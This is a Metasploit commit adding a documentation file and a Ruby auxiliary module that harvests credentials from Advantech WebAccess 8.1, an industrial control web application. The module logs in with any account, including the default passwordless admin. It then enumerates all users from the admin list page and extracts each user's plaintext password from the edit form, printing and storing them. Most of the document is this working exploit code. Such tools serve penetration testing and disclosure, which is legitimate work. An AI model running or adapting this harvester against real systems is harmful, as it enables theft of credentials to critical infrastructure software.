Land #7876 which adds an Advantech Webaccess credential gatherer

bug/bundler_fix 4.13.16
h00die 2017-01-26 19:37:36 -05:00
commit f846535d78
No known key found for this signature in database
GPG Key ID: C5A9D25D1457C971
2 changed files with 222 additions and 0 deletions

View File

@ -0,0 +1,47 @@
## Description
This module exploits three vulnerabilities in Advantech WebAccess.
The first vulnerability is the ability for an arbitrary user to access the admin user list page,
revealing the username of every user on the system.
The second vulnerability is the user edit page can be accessed loaded by an arbitrary user, with
the data of an arbitrary user.
The final vulnerability exploited is that the HTML Form on the user edit page contains the user's
plain text password in the masked password input box. Typically the system should replace the
actual password with a masked character such as "*".
## Vulnerable Application
Version 8.1 was tested during development:
http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccessUSANode8.1_20151230.exe
8.2 is not vulnerable to this.
## Verification Steps
1. Start msfconsole
2. ```use auxiliary/gahter/advantech_webaccess_creds```
3. ```set WEBACCESSUSER [USER]```
4. ```set WEBACCESSPASS [PASS]```
5. ```run```
## Options
**WEBACCESSUSER**
The username to use to log into Advantech WebAccess. By default, there is a built-in account
```admin``` that you could use.
**WEBACCESSPASS**
The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin```
does not have a password, which could be something you can use.
## Demo
![webaccess_steal_creds](https://cloud.githubusercontent.com/assets/1170914/22353246/34b2045e-e3e5-11e6-992c-f3ab9dcbe716.gif)

View File

@ -0,0 +1,175 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Advantech WebAccess 8.1 Post Authentication Credential Collector",
'Description' => %q{
This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.
Although authentication is required, any level of user permission can exploit this vulnerability.
Note that 8.2 is not suitable for this.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # Pointed out the obvious during a PR review for CVE-2017-5154
'sinn3r', # Metasploit module
],
'References' =>
[
['URL', 'https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229']
],
'DisclosureDate' => "Jan 21 2017"
))
register_options(
[
OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']),
OptString.new('WEBACCESSPASS', [false, 'Password for Advantech WebAccess', '']),
OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']),
], self.class)
end
def do_login
vprint_status("Attempting to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")
uri = normalize_uri(target_uri.path, 'broadweb', 'user', 'signin.asp')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'page' => '/',
'pos' => '',
'username' => datastore['WEBACCESSUSER'],
'password' => datastore['WEBACCESSPASS'],
'remMe' => '',
'submit1' => 'Login'
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out while trying to login')
end
if res.headers['Location'] && res.headers['Location'] == '/broadweb/bwproj.asp'
print_good("Logged in as #{datastore['WEBACCESSUSER']}")
report_cred(
user: datastore['WEBACCESSUSER'],
password: datastore['WEBACCESSPASS'],
status: Metasploit::Model::Login::Status::SUCCESSFUL
)
return res.get_cookies.scan(/(ASPSESSIONID\w+=\w+);/).flatten.first || ''
end
print_error("Unable to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")
nil
end
def get_user_cred_detail(sid, user)
vprint_status("Gathering password for user: #{user}")
uri = normalize_uri(target_uri.path, 'broadWeb','user', 'upAdminPg.asp')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => sid,
'vars_get' => {
'uname' => user
}
})
unless res
print_error("Unable to gather password for user #{user} due to a connection timeout")
return nil
end
html = res.get_html_document
pass_field = html.at('input[@name="Password"]')
pass_field ? pass_field.attributes['value'].text : nil
end
def get_users_page(sid)
vprint_status("Checking user page...")
uri = normalize_uri(target_uri.path, 'broadWeb', 'user', 'AdminPg.asp')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => sid
})
unless res
fail_with(Failure::Unknown, 'Connection timed out while checking AdminPg.asp')
end
html = res.get_html_document
users = html.search('a').map { |a|
Rex::Text.uri_decode(a.attributes['href'].text.scan(/broadWeb\/user\/upAdminPg\.asp\?uname=(.+)/).flatten.first || '')
}.delete_if { |user| user.blank? }
users
end
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: 'webaccess',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: opts[:status],
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
cookie = do_login
users = get_users_page(cookie)
users.each do |user|
pass = get_user_cred_detail(cookie, user)
if pass
report_cred(
user: user,
password: pass,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: 'AdminPg.asp'
)
print_good("Found password: #{user}:#{pass}")
end
end
end
end